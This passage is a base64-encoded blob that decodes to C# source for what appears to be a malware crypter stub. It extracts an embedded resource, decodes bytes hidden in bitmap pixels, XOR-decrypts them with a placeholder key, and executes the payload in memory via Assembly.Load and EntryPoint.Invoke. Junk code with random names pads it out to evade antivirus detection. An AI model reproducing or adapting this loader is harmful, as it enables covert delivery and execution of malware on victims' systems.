b3VibGUuTWluVmFsdWUsIGRvdWJsZS5NYXhWYWx1ZSk7DQp1c2hvcnQgRk9BTk1rID0gMTQ5ODE7IApsb25nIGtzSUdrYSA9IDQ4Mzk5NjA3MDUxNTMwMTE5OyAKc3RyaW5nIG9DSFRVTCA9ICJTTHBNdkoiOyAKIENvbnNvbGUuV3JpdGVMaW5lKG9DSFRVTCk7dWxvbmcgd05qUWx2ID0gMzgzMTYxMTQ0MzI3MjgwMTY7IAp1aW50IHl3a2VLViA9IDMyNjsgCg0KfXB1YmxpYyB2b2lkIFJ3WG96RSgpew0KdWludCBGZEVLT2QgPSA5NDsgCnNob3J0IGRnaUxDQSA9IC0xMzU2MDsgCiBieXRlW10gZGdpTENBZGdpTENBID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJkZ2lMQ0EiKTtsb25nIE9aUkpTTyA9IDcyMTQ1OTE5MDc2MzY1MjUxOyAKaW50IE9HRlJpeSA9IDU1NTsgCndoaWxlKE9HRlJpeSA9PSA1NTUpew0KT0dGUml5ID0gT0dGUml5ICsgNTU2NzEzOw0KfWRvdWJsZSBQdnF5aW4gPSAtNC4wMTgyNzJFLTI2OyAKd2hpbGUoUHZxeWluID09IC0xLjg2NTEyNEUrMjIpew0KUHZxeWluID0gTWF0aC5Qb3coNSwgMik7DQpDb25zb2xlLldyaXRlTGluZShQdnF5aW4uVG9TdHJpbmcoKSk7DQp9ZG91YmxlIG13c2NwVyA9IC0yLjg0NDc0NEUtMDk7IAptd3NjcFcgPSBNYXRoLlRydW5jYXRlKG13c2NwVyk7DQppbnQ/IEtwbVhtT05GTnMgPSAzNzI4OTQ1Ow0KS3BtWG1PTkZOcyArPSA4NjkyNjsNCn0KfSBwdWJsaWMgY2xhc3MgVmhJZFRJe3B1YmxpYyB2b2lkIGFwaHRjeCgpew0KaW50IHhCVUl0SCA9IDc4Mjc1MDQzOyAKaWYoeEJVSXRIID09IDYzNzA2NSl7DQp4QlVJdEggKz0gMjEyNzcyOw0KfWludCBUQkpwZGIgPSA3NDM4MzE3MDA7IAp3aGlsZShUQkpwZGIgPT0gNzQzODMxNzAwKXsNClRCSnBkYiA9IFRCSnBkYiArIDk3OTI5NjsNCn11c2hvcnQgUkp5TXRVID0gMjc2NDc7IAp1c2hvcnQgSE9RU2tyID0gNDkwMzA7IApkb3VibGUgSmJTSGFQID0gMi4wNTg3OTNFKzMzOyAKaWYoSmJTSGFQID09IDIuNTUyMzYxRSsxMCl7DQpKYlNIYVAgPSBNYXRoLkNlaWxpbmcoTWF0aC5BdGFuKC01KSk7DQpDb25zb2xlLldyaXRlTGluZShKYlNIYVAuVG9TdHJpbmcoKSk7DQp9dXNob3J0IFVPVnZSeCA9IDE5MDA1OyAKDQp9cHVibGljIHZvaWQgckFzTXhLKCl7DQpzdHJpbmcgcU13aHR6ID0gIndKSVNQUCI7IAogQ29uc29sZS5Xcml0ZUxpbmUocU13aHR6KTtieXRlIGpvRE9XVyA9ICA2MTsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2RvdWJsZSBQVVZmUHYgPSAtMi41MDgxMjRFLTA4OyAKZG91YmxlIGZJcWNVID0gNy44Mjk2NzZFLTI1Ow0KUFVWZlB2ID0gZklxY1UgKiAyOw0KdHJ5ew0KaW50IGh6WmFQV053UFVHSHRKamNZbSA9IDk3Njg0MTsNCmlmKGh6WmFQV053UFVHSHRKamNZbSA9PSAyMjIzKXsNCmh6WmFQV053UFVHSHRKamNZbSsrOw0KfWVsc2V7DQpoelphUFdOd1BVR0h0SmpjWW0tLTsNCkNvbnNvbGUuV3JpdGUoaHpaYVBXTndQVUdIdEpqY1ltLlRvU3RyaW5nKCkpOw0KfQ0KfWNhdGNoKEV4Y2VwdGlvbiBleCl7DQoNCn1kb3VibGUgQVV5SHVNID0gMi41OTI5MjdFLTA4OyAKQVV5SHVNID0gTWF0aC5UcnVuY2F0ZShBVXlIdU0pOw0Kb2JqZWN0IHRCVWlmbUd6aDsNCnRCVWlmbUd6aCA9IDEuNTgwNDkzRS0xMDsNCkNvbnNvbGUuV3JpdGVMaW5lKHRCVWlmbUd6aC5Ub1N0cmluZygpLlRvTG93ZXIoKSk7c2J5dGUgT0JOZFhkID0gIC0zMjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7c3RyaW5nIHB2d1h5eiA9ICJZeFF0dGkiOyAKIENvbnNvbGUuV3JpdGVMaW5lKHB2d1h5eik7DQp9cHVibGljIHZvaWQgdHZ2VFdBKCl7DQpmbG9hdCBVTlZId3ogPSAxLjcxNTMwM0UrMTZGOyAKdXNob3J0IHJGS2ZrVCA9IDQ0MzkwOyAKZG91YmxlIFNLRVFnbSA9IC0xLjQ5Nzc3MUUrMzE7IAppZihTS0VRZ20gPT0gMS4wMDQzODNFKzM0KXsNClNLRVFnbSA9IE1hdGguQ2VpbGluZyhNYXRoLlNpbigyKSk7DQp0cnl7DQoNCn1jYXRjaChFeGNlcHRpb24gZXgpew0KDQp9DQp9Ynl0ZSBmUXFZTUQgPSAgNTc7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtmbG9hdCB4QnNQS2IgPSA2LjUxMTc4MkUtMTBGOyAKZmxvYXQgRm1udkJEID0gLTEuNzg1MDU4RSszNEY7IAoNCn1wdWJsaWMgdm9pZCBORVZrTkgoKXsNCmxvbmcgd3RnekJGID0gNDY2MDQ0NDEzMjA2NjM1MTk7IApzdHJpbmcgaHBFcktpID0gImJ1Q2FKUCI7IAogQ29uc29sZS5Xcml0ZUxpbmUoaHBFcktpKTtmbG9hdCBXYXVUZ2wgPSAtMS42ODA3NzlFKzMzRjsgCnVpbnQgVFNrbENGID0gMzYyNTc7IAp1aW50IEJwa0lRUSA9IDQ1OyAKc2J5dGUgV2xoa25JID0gIC0xMDsgCiBDb25zb2xlLlJlYWRMaW5lKCk7DQp9cHVibGljIHZvaWQgT3lwYURVKCl7DQp1c2hvcnQgQ3BpeW9PID0gNTc5NTI7IApmbG9hdCBqYmp1dGogPSA3Ljc1NjQ3MUUtMTdGOyAKdWludCBqZVdqTWggPSA2MTI5NTM7IAp1bG9uZyBscEVGQkQgPSA3NjM4MjgxODIwNTk3NTkzNTsgCmZsb2F0IHlJaFV3aCA9IDAuMTkzNTI1MUY7IAp1c2hvcnQgY2xLWFFMID0gNjA5ODg7IAoNCn1wdWJsaWMgdm9pZCBIalllc2woKXsNCnVsb25nIG5WT0pOUCA9IDM0NDExMjE5ODY1Mzg4MjM3OyAKc3RyaW5nIERxT0d1biA9ICJiSXJ3b0MiOyAKIENvbnNvbGUuV3JpdGVMaW5lKERxT0d1bik7c3RyaW5nIEZUTnNBSyA9ICJTU0tBQlIiOyAKIENvbnNvbGUuV3JpdGVMaW5lKEZUTnNBSyk7bG9uZyBwSnJKSXAgPSAyMDc0NTQ2Njg1MzM3NDU3NjsgCnVpbnQgS1F2aElKID0gMzQ7IAppbnQgaXBDVFFoID0gMTc3NzsgCndoaWxlKGlwQ1RRaCA9PSAxNzc3KXsNCmlwQ1RRaCA9IGlwQ1RRaCArIDgzMTA2MjsNCn0NCn0KfSANCg0KICAgIGNsYXNzIFByb2dyYW0NCiAgICB7DQoNCiAgICAgICAgc3RhdGljIHN0cmluZyB2dmVFVERDbmpzb05YID0gIiNwYXNzIyI7DQogICAgICAgIHByaXZhdGUgc3RhdGljIGJ5dGVbXSB4Y0VsSkhwKGJ5dGVbXSBieXRlcykNCiAgICAgICAgew0KICAgICAgICAgICAgYnl0ZVtdIGJ5dGVBcnJheSA9IEVuY29kaW5nLlVuaWNvZGUuR2V0Qnl0ZXModnZlRVREQ25qc29OWCk7DQogICAgICAgICAgICBmb3IgKGludCBpID0gMDsgaSA8IGJ5dGVzLkxlbmd0aDsgaSsrKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGJ5dGVzW2ldIF49IGJ5dGVBcnJheVtpICUgMTZdOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIGJ5dGVzOw0KICAgICAgICB9DQoJCQ0KCQlwcml2YXRlIHN0YXRpYyBieXRlW10gQ29udmVydEZyb21CbXAoU3lzdGVtLkRyYXdpbmcuQml0bWFwIGIpDQogICAgICAgIHsNCiAgICAgICAgICAgIGludCBsID0gYi5XaWR0aDsNCiAgICAgICAgICAgIGludCBuID0gbCAqIGwgKiA0Ow0KICAgICAgICAgICAgYnl0ZVtdIGJ1ZmYgPSBuZXcgYnl0ZVtuXTsNCiAgICAgICAgICAgIGludCBrID0gMDsNCg0KICAgICAgICAgICAgZm9yIChpbnQgeCA9IDA7IHggPCBsOyB4KyspDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgZm9yIChpbnQgeSA9IDA7IHkgPCBsOyB5KyspDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBCdWZmZXIuQmxvY2tDb3B5KEJpdENvbnZlcnRlci5HZXRCeXRlcyhiLkdldFBpeGVsKHgsIHkpLlRvQXJnYigpKSwgMCwgYnVmZiwgaywgNCk7DQogICAgICAgICAgICAgICAgICAgIGsgKz0gNDsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGludCBsZW4gPSBCaXRDb252ZXJ0ZXIuVG9JbnQzMihidWZmLCAwKTsNCiAgICAgICAgICAgIGJ5dGVbXSBmID0gbmV3IGJ5dGVbbGVuXTsNCiAgICAgICAgICAgIEJ1ZmZlci5CbG9ja0NvcHkoYnVmZiwgNCwgZiwgMCwgZi5MZW5ndGgpOw0KICAgICAgICAgICAgcmV0dXJuIGY7DQogICAgICAgIH0NCgkJDQoJCQ0KCQlzdGF0aWMgYnl0ZVtdIE5FUklNOw0KCQlwdWJsaWMgc3RhdGljIHZvaWQgWXlFRndscmlsR1J5b0RuSCgpDQoJCXsNCgkJCUFzc2VtYmx5LkxvYWQoTkVSSU0pLkVudHJ5UG9pbnQuSW52b2tlKG51bGwsIG5ldyBvYmplY3RbXSB7IG5ldyBzdHJpbmdbXSB7IH0gfSk7DQoJCX0NCgkJDQoJCVtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIpXQ0KCQlzdGF0aWMgZXh0ZXJuIEludFB0ciBGaW5kUmVzb3VyY2UoSW50UHRyIGhNb2R1bGUsIEludFB0ciBscE5hbWUsIEludFB0ciBscFR5cGUpOw0KCQkNCgkJW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yPXRydWUpXQ0KCQlzdGF0aWMgZXh0ZXJuIHVpbnQgU2l6ZW9mUmVzb3VyY2UoSW50UHRyIGhNb2R1bGUsIEludFB0ciBoUmVzSW5mbyk7DQoJCQ0KCQlbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiLCBTZXRMYXN0RXJyb3I9dHJ1ZSldDQoJCXN0YXRpYyBleHRlcm4gSW50UHRyIExvYWRSZXNvdXJjZShJbnRQdHIgaE1vZHVsZSwgSW50UHRyIGhSZXNJbmZvKTsNCgkJDQoJCVtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIpXQ0KCQlzdGF0aWMgZXh0ZXJuIEludFB0ciBMb2NrUmVzb3VyY2UoSW50UHRyIGhSZXNEYXRhKTsNCgkJDQoNCgkJcHVibGljIHN0YXRpYyBCaXRtYXAgQnl0ZTJJbWFnZShieXRlW10gaW1nKQ0KICAgICAgICB7DQogICAgICAgICAgICB1c2luZyAodmFyIHN0cmVhbSA9IG5ldyBNZW1vcnlTdHJlYW0oaW1nKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gbmV3IEJpdG1hcChzdHJlYW0pOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoJCQ0KICAgICAgICBzdGF0aWMgdm9pZCBNYWluKCkNCiAgICAgICAgew0KICAgICAgICAgICAgdHJ5DQogICAgICAgICAgICB7CQkNCgkJCQlJbnRQdHIgZlJlc291cmNlID0gRmluZFJlc291cmNlKG5ldyBJbnRQdHIoMCksIG5ldyBJbnRQdHIoMTQ1KSwgbmV3IEludFB0cigyMykpOw0KCQkJCXVpbnQgc1Jlc291cmNlID0gU2l6ZW9mUmVzb3VyY2UobmV3IEludFB0cigwKSwgZlJlc291cmNlKTsNCgkJCQlJbnRQdHIgbFJlc291cmNlID0gTG9hZFJlc291cmNlKG5ldyBJbnRQdHIoMCksIGZSZXNvdXJjZSk7DQoJCQkJSW50UHRyIGRSZXNvdXJjZSA9IExvY2tSZXNvdXJjZShsUmVzb3VyY2UpOw0KCQkJCQ0KCQkJCU5FUklNID0gbmV3IGJ5dGVbc1Jlc291cmNlXTsNCgkJCQlTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbC5Db3B5KGRSZXNvdXJjZSwgTkVSSU0sIDAsIFN5c3RlbS5Db252ZXJ0LlRvSW50MzIoc1Jlc291cmNlKSk7DQoJCQkJTkVSSU0gPSB4Y0VsSkhwKENvbnZlcnRGcm9tQm1wKEJ5dGUySW1hZ2UoTkVSSU0pKSk7DQoJCQkJDQoJCQkJU3lzdGVtLlRocmVhZGluZy5UaHJlYWQgdGhyID0gbmV3IFN5c3RlbS5UaHJlYWRpbmcuVGhyZWFkKFl5RUZ3bHJpbEdSeW9EbkgpOw0KCQkJCXRoci5TdGFydCgpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgY2F0Y2gNCiAgICAgICAgICAgIHsNCg0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KCQ0KCXB1YmxpYyBjbGFzcyB0cUF4WGd7cHVibGljIHZvaWQgZXp1UE1uKCl7DQppbnQgUGtUbFlzID0gNTc5MDsgCndoaWxlKFBrVGxZcyA9PSA1NzkwKXsNClBrVGxZcyA9IFBrVGxZcyArIDY3NjA2NjsNCn11c2hvcnQgTXdYS0JWID0gNTA4NDI7IApmbG9hdCBlWHBrWlogPSAtNi44MDg0NDhFKzI1RjsgCmZsb2F0IFFtcFZ5bCA9IDguODA5MzA0RS0yM0Y7IApzaG9ydCBKRGtVeXggPSAxNTk1MzsgCiBieXRlW10gSkRrVXl4SkRrVXl4ID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJKRGtVeXgiKTtkb3VibGUgWFBSdkpmID0gLTIuMjY1NDM0RSsxNjsgCndoaWxlKFhQUnZKZiA9PSAtMy4yODAxM0UtMTIpew0KZG91YmxlIGRjTlRoID0gOC40NjkyRSsxODsNClhQUnZKZiA9IE1hdGguQ2VpbGluZyhkY05UaCk7DQpmb3IoIDsgOykgew0KQ29uc29sZS5Xcml0ZUxpbmUoMy45MTQ0NjJFLTEzKTsNCn0NCn0NCn1wdWJsaWMgdm9pZCBNam9leEUoKXsNCnVpbnQgcmV0a2NvID0gMTY5MTE2ODsgCnNieXRlIHhWdmpBaSA9ICA1NzsgCiBDb25zb2xlLlJlYWRMaW5lKCk7bG9uZyBuamZ6ZFggPSA4Mzk5MjM4OTYyNzQ5MzY4NzsgCnNieXRlIGl0VkNJQiA9ICAtMjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7Ynl0ZSB6S21vaEUgPSAgMTY2OyAKIEVudmlyb25tZW50LkV4aXQoMCk7ZG91YmxlIGlkYlV5eCA9IDAuMDIzMDc4NjU7IAppZGJVeXggPSBNYXRoLkV4cCgyKTsNCkNvbnNvbGUuV3JpdGVMaW5lKGlkYlV5eC5Ub1N0cmluZygpKTsNCn1wdWJsaWMgdm9pZCBnbEdScG4oKXsNCnNieXRlIFVuQlVHQyA9ICA0MzsgCiBDb25zb2xlLlJlYWRMaW5lKCk7dWludCBVUUl2bUggPSA0Njg5OyAKZG91YmxlIGtpTkJmVSA9IC03LjQyMTk4MkUtMjM7IApraU5CZlUgPSBNYXRoLkNlaWxpbmcoTWF0aC5TaW5oKC01KSk7DQpDb25zb2xlLlJlYWRLZXkoKTtkb3VibGUgZW9JdEFiID0gLTQuMDQ4MjcxRS0wNjsgCmlmKGVvSXRBYiA9PSA2LjAwMDg5NkUrMjUpew0KZW9JdEFiID0gTWF0aC5Qb3coNSwgMik7DQp0cnl7DQpDb25zb2xlLldyaXRlTGluZShlb0l0QWIuVG9TdHJpbmcoKSk7DQp9Y2F0Y2goRXhjZXB0aW9uIGV4KXsNCkNvbnNvbGUuV3JpdGVMaW5lKGV4Lk1lc3NhZ2UpOw0KfQ0KfXNieXRlIHF6ckRxTCA9ICAxMjU7IAogQ29uc29sZS5SZWFkTGluZSgpO3N0cmluZyBKUm5nRVQgPSAiWmZla3FuIjsgCiBDb25zb2xlLldyaXRlTGluZShKUm5nRVQpOw0KfXB1YmxpYyB2b2lkIGdIRVRtdCgpew0Kc2J5dGUgcUlueHVvID0gIDg5OyAKIENvbnNvbGUuUmVhZExpbmUoKTtpbnQgSUZianFHID0gNDkyMDg1ODM7IAppZihJRmJqcUcgPT0gNjM4NzA1KXsNCklGYmpxRyA9IDcwODI4OTsNCn1ieXRlIHZQakNDQiA9ICAxMzE7IAogRW52aXJvbm1lbnQuRXhpdCgwKTt1c2hvcnQgbmxYbmZRID0gNjQ2OTY7IApzdHJpbmcgUUlqZnJYID0gInVKeG5WUiI7IAogQ29uc29sZS5Xcml0ZUxpbmUoUUlqZnJYKTt1c2hvcnQgREt3Qk9RID0gNjM4OTY7IAoNCn1wdWJsaWMgdm9pZCBVRWF5VmQoKXsNCnVsb25nIGFBcVFIayA9IDE3MzI5OTQyMDMzNDM1MzA0OyAKZG91YmxlIE1hZkFSdyA9IDIuMTAzNjM4RS0xOTsgCmlmKE1hZkFSdyA9PSAtMi4wMzUwNjZFKzE5KXsNCk1hZkFSdyA9IE1hdGguQ2VpbGluZyhNYXRoLlRhbmgoMC4xKSk7DQppbnQ/IGN1Qkx1QmZUa3ZYbE1LbFpnY2llViA9IDc5NjIxOw0KY3VCTHVCZlRrdlhsTUtsWmdjaWVWICs9IDk4MDE5Ow0KfWZsb2F0IGpYUGdSSSA9IC0zNDUyNjU3RjsgCnN0cmluZyByQWlpdm4gPSAiV29kWWpuIjsgCiBDb25zb2xlLldyaXRlTGluZShyQWlpdm4pO2J5dGUgaGN1eXhQID0gIDE3NDsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2J5dGUgTkhZRnBPID0gIDE4NzsgCiBFbnZpcm9ubWVudC5FeGl0KDApOw0KfXB1YmxpYyB2b2lkIFFMaFZVdigpew0KYnl0ZSBoSUR6QVAgPSAgMTUxOyAKIEVudmlyb25tZW50LkV4aXQoMCk7dWludCBVVVNLTEUgPSA4NjQ2MTA2MzsgCmludCBSQ0JBU24gPSA5NjsgCndoaWxlKFJDQkFTbiA9PSA5Nil7DQpSQ0JBU24gPSBSQ0JBU24gKyAyMjQ2OTk7DQp9aW50IGtNa1ZESiA9IDk2OTA3MDIwMjsgCmlmKGtNa1ZESiA9PSA3MTAzNSl7DQprTWtWREogPSBrTWtWREogKyA4MzUxMjQ7DQp9c2hvcnQgRnJXQkNmID0gMzM2ODsgCiBieXRlW10gRnJXQkNmRnJXQkNmID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJGcldCQ2YiKTt1c2hvcnQgdFVNWXRvID0gNjUyNjc7IAoNCn0KfSBwdWJsaWMgY2xhc3MgeUhNUUlPe3B1YmxpYyB2b2lkIGhTdkJmTCgpew0Kc3RyaW5nIE9QS2RjaCA9ICJ2dmVoT20iOyAKIENvbnNvbGUuV3JpdGVMaW5lKE9QS2RjaCk7ZmxvYXQgblRuWlFQID0gLTIuMTUxMTM0RS0yOUY7IApzaG9ydCBmU3JMY0UgPSAtMjUxOTM7IAogYnl0ZVtdIGZTckxjRWZTckxjRSA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiZlNyTGNFIik7c2hvcnQgWEdyc01tID0gLTI5MDM0OyAKIGJ5dGVbXSBYR3JzTW1YR3JzTW0gPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIlhHcnNNbSIpO2ludCBRa1B3WmkgPSAxMjAzMTc7IAp3aGlsZShRa1B3WmkgPT0gMTIwMzE3KXsNClFrUHdaaSA9IFFrUHdaaSArIDMxMTIwMDsNCn11aW50IElZYUN6RiA9IDExMDk7IAoNCn1wdWJsaWMgdm9pZCBEZFZEUkUoKXsNCmJ5dGUgWVNBZmxkID0gIDIxNDsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3Nob3J0IHV4blpkVyA9IDQ1NDE7IAogYnl0ZVtdIHV4blpkV3V4blpkVyA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygidXhuWmRXIik7c2hvcnQgRndTS3JDID0gMzAyMTU7IAogYnl0ZVtdIEZ3U0tyQ0Z3U0tyQyA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiRndTS3JDIik7dXNob3J0IG9zYlZWUyA9IDU5MzcyOyAKZG91YmxlIGpyYUx5diA9IC0xLjI4ODE3OEUrMDg7IApkb3VibGUgaERRT3BxdmlQID0gTWF0aC5Mb2coMTAwMCwgMTApOw0KanJhTHl2ID0gaERRT3BxdmlQOw0KdHJ5ew0KaW50IEZyTWJBWXlxQSA9IDgyNTgxNzY7DQppZihGck1iQVl5cUEgPT0gNDcxMzMpew0KRnJNYkFZeXFBKys7DQp9ZWxzZXsNCkZyTWJBWXlxQS0tOw0KQ29uc29sZS5Xcml0ZShGck1iQVl5cUEuVG9TdHJpbmcoKSk7DQp9DQp9Y2F0Y2goRXhjZXB0aW9uIGV4KXsNCg0KfXNieXRlIFlWWWpEUiA9ICA1NjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7DQp9cHVibGljIHZvaWQgRGZtZU9GKCl7DQp1bG9uZyBDR05ZbFYgPSA3NTgyMzEyOTg2ODkxNTIwODsgCmJ5dGUgRll5cURuID0gIDE3OyAKIEVudmlyb25tZW50LkV4aXQoMCk7c2hvcnQgUEVLWWh2ID0gMTM0OTE7IAogYnl0ZVtdIFBFS1lodlBFS1lodiA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiUEVLWWh2Iik7ZmxvYXQgSmxXRFRpID0gMTc4MTk3OUY7IApkb3VibGUgS2RBVnJVID0gLTEuMjcxNTMyRSsyNzsgCmlmKEtkQVZyVSA9PSAtMi43OTc3NjdFLTA4KXsNCktkQVZyVSA9IE1hdGguQ2VpbGluZyhNYXRoLlNpbigyKSk7DQpDb25zb2xlLlJlYWRLZXkoKTsNCn1pbnQgZEVHSVB3ID0gNjE1NTsgCndoaWxlKGRFR0lQdyA9PSA2MTU1KXsNCmRFR0lQdyA9IGRFR0lQdyArIDU4ODgyOw0KfQ0KfXB1YmxpYyB2b2lkIHhQaVRVbSgpew0KZmxvYXQgeml0dHRoID0gLTEuNjMyMzUzRSswOUY7IApzYnl0ZSBuQnJkcUogPSAgLTkyOyAKIENvbnNvbGUuUmVhZExpbmUoKTtpbnQgVmVtUGhUID0gNjI7IAppZihWZW1QaFQgPT0gMzQ1NDcxKXsNClZlbVBoVCArPSAzNTMwNjI7DQp9c2J5dGUgeHFLWURaID0gIC0xMDY7IAogQ29uc29sZS5SZWFkTGluZSgpO2RvdWJsZSBiV1VrcWEgPSAxNjU1ODY7IApkb3VibGUgUnlCZEt4cWNaVnp0YiA9IC0xLjQwNDQ4M0UtMjA7DQpiV1VrcWEgPSBNYXRoLlJvdW5kKFJ5QmRLeHFjWlZ6dGIgLDEsTWlkcG9pbnRSb3VuZGluZy5Ub0V2ZW4pOw0KZG91YmxlIHRUa3djQSA9IC0xLjgxNjc1MkUtMzU7IAppZih0VGt3Y0EgPT0gMi4wMTgxMzhFLTA1KXsNCnRUa3djQSA9IE1hdGguVHJ1bmNhdGUodFRrd2NBKTsNCm9iamVjdCBVbENaTGxjcEhic1BVSkZsRE11S1RVUHR2TVhpOw0KVWxDWkxsY3BIYnNQVUpGbERNdUtUVVB0dk1YaSA9IC01LjY0NzAzMUUrMzc7DQp9DQp9cHVibGljIHZvaWQgSFJzQWlzKCl7DQpzaG9ydCBRY3dGaXogPSAxNzAxOyAKIGJ5dGVbXSBRY3dGaXpRY3dGaXogPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIlFjd0ZpeiIpO3VpbnQgRlRLdEJhID0gOTEyNDM2NDc1OyAKYnl0ZSBSS1JKZWEgPSAgOTg7IAogRW52aXJvbm1lbnQuRXhpdCgwKTt1aW50IGVDam9SdCA9IDgyMzU0NzMwNjsgCmludCBuVURsRkEgPSA5NjQ0OyAKaWYoblVEbEZBID09IDgyNzI2Mil7DQpuVURsRkEgPSBuVURsRkEgKyAxMzMwMTY7DQp9dXNob3J0IHh5U2hNZCA9IDEzMzY3OyAKDQp9cHVibGljIHZvaWQgSVFIWkllKCl7DQpkb3VibGUgRmdJQ2hTID0gMTYzLjY4OTM7IApkb3VibGUgdWlWVnhqbHdyaGt2SEhaID0gLTIuMDQ3MTUyRS0yMjsNCkZnSUNoUyA9IHVpVlZ4amx3cmhrdkhIWiAvIDM7DQpkb3VibGUgdkNZY2FrID0gMC40NTk1ODA2OyAKd2hpbGUodkNZY2FrID09IC04LjUwMzY4NkUrMDkpew0KdkNZY2FrID0gTWF0aC5Qb3coZG91YmxlLk1pblZhbHVlLCBkb3VibGUuTWF4VmFsdWUpOw0KQ29uc29sZS5SZWFkS2V5KCk7DQp9dXNob3J0IFhtYUJVaCA9IDM0NTA5OyAKYnl0ZSBzRHRlcGIgPSAgMjM4OyAKIEVudmlyb25tZW50LkV4aXQoMCk7aW50IFlZRGpCdiA9IDk0NTMwNDg5OyAKaWYoWVlEakJ2ID09IDg2NDA2MSl7DQpZWURqQnYgPSBZWURqQnYgKyAyMzcxMDA7DQp9dWludCBIY0hTQk8gPSAxODsgCg0KfQp9IHB1YmxpYyBjbGFzcyBWR29FYmR7cHVibGljIHZvaWQgdGFncXZkKCl7DQp1bG9uZyBEQUxFRW4gPSA0ODAxNjg1NTEwODIzMTgyNTsgCnN0cmluZyBWaGprd2kgPSAiWmVNdkRoIjsgCiBDb25zb2xlLldyaXRlTGluZShWaGprd2kpO3VzaG9ydCBPWWN2UEQgPSAyMDA0NzsgCmludCBvRkJreU8gPSA1OTsgCmlmKG9GQmt5TyA9PSA2NTM2MDgpew0Kb0ZCa3lPID0gNjkwMDc2Ow0KfWJ5dGUgR3R3VVhNID0gIDQzOyAKIEVudmlyb25tZW50LkV4aXQoMCk7c2J5dGUgUWZmWE1PID0gIC00ODsgCiBDb25zb2xlLlJlYWRMaW5lKCk7DQp9cHVibGljIHZvaWQgSHNIdXZRKCl7DQpzYnl0ZSBGQmlPcUEgPSAgMzY7IAogQ29uc29sZS5SZWFkTGluZSgpO2Zsb2F0IERoTkxxcyA9IC0wLjAwMDM1NzU0MDVGOyAKZmxvYXQgTG5mblJKID0gLTYwMDUyLjM3RjsgCmludCB2R2dOZmQgPSA5MjQyNTI5ODsgCmlmKHZHZ05mZCA9PSA2NzcxOSl7DQp2R2dOZmQgPSAyMTk0MjE7DQp9bG9uZyB0ekVRbXogPSAyMjE1NzU1NjI0NDQxNzI0NjsgCnVsb25nIHJVVWZTViA9IDMxNzcwNzQwMDYyMTkxMDMwOyAKDQp9cHVibGljIHZvaWQgaXJpYnNhKCl7DQpzYnl0ZSBpQnhjUk8gPSAgLTc2OyAKIENvbnNvbGUuUmVhZExpbmUoKTtzaG9ydCBiUnZCbVQgPSAtMzAyODg7IAogYnl0ZVtdIGJSdkJtVGJSdkJtVCA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiYlJ2Qm1UIik7ZG91YmxlIG5YaHlOaSA9IC0yLjE4MDY5NUUtMTc7IApuWGh5TmkgPSBNYXRoLlBvdyhkb3VibGUuTmVnYXRpdmVJbmZpbml0eSwgMik7DQpDb25zb2xlLldyaXRlKG5YaHlOaS5Ub1N0cmluZygpKTtsb25nIHdjdEpodyA9IDY5MDk0NDYwNTcxNDE2ODE0OyAKdWludCBpUm9rQ3EgPSA0NDY2MzA1Nzg7IApzYnl0ZSBiSHRRdFYgPSAgOTA7IAogQ29uc29sZS5SZWFkTGluZSgpOw0KfXB1YmxpYyB2b2lkIFBRV3ZWaSgpew0KdWxvbmcgQk5HcXl0ID0gMzc0MzQzOTM0ODE2MjQzMjA7IAp1bG9uZyBmQWR4QkkgPSA1MTM5NzQ3NTU1NjIyNzMwOTsgCmxvbmcgWXlHVWRHID0gODYyODExNjE3OTI1NTc5NjU7IApkb3VibGUgREx5ekRHID0gLTkuOTEzODM1RSsxOTsgCkRMeXpERyA9IE1hdGguQ2VpbGluZyhNYXRoLkF0YW4oLTUpKTsNCkNvbnNvbGUuV3JpdGUoREx5ekRHLlRvU3RyaW5nKCkpO3N0cmluZyB1QkJFZm4gPSAiQ3Zxb0ZKIjsgCiBDb25zb2xlLldyaXRlTGluZSh1QkJFZm4pO3N0cmluZyBpWkRUWnAgPSAiR01SdGdHIjsgCiBDb25zb2xlLldyaXRlTGluZShpWkRUWnApOw0KfXB1YmxpYyB2b2lkIHFHaml1aygpew0KdWxvbmcgS0xoUUNrID0gODU0NTIzOTM0NjIzNzgwNzk7IApzdHJpbmcgbEdDU0trID0gIllqYkdPUyI7IAogQ29uc29sZS5Xcml0ZUxpbmUobEdDU0trKTt1bG9uZyBHcnZPdFcgPSA4MTU3MjMyNjkzMTg0NzUyNjsgCnVsb25nIEJlU29BSyA9IDQzMzgzOTI5NTAyNzQ4MDMzOyAKc3RyaW5nIEFjT2pObSA9ICJ2VWtjVU0iOyAKIENvbnNvbGUuV3JpdGVMaW5lKEFjT2pObSk7c3RyaW5nIGlobUZuRyA9ICJJamlzT0g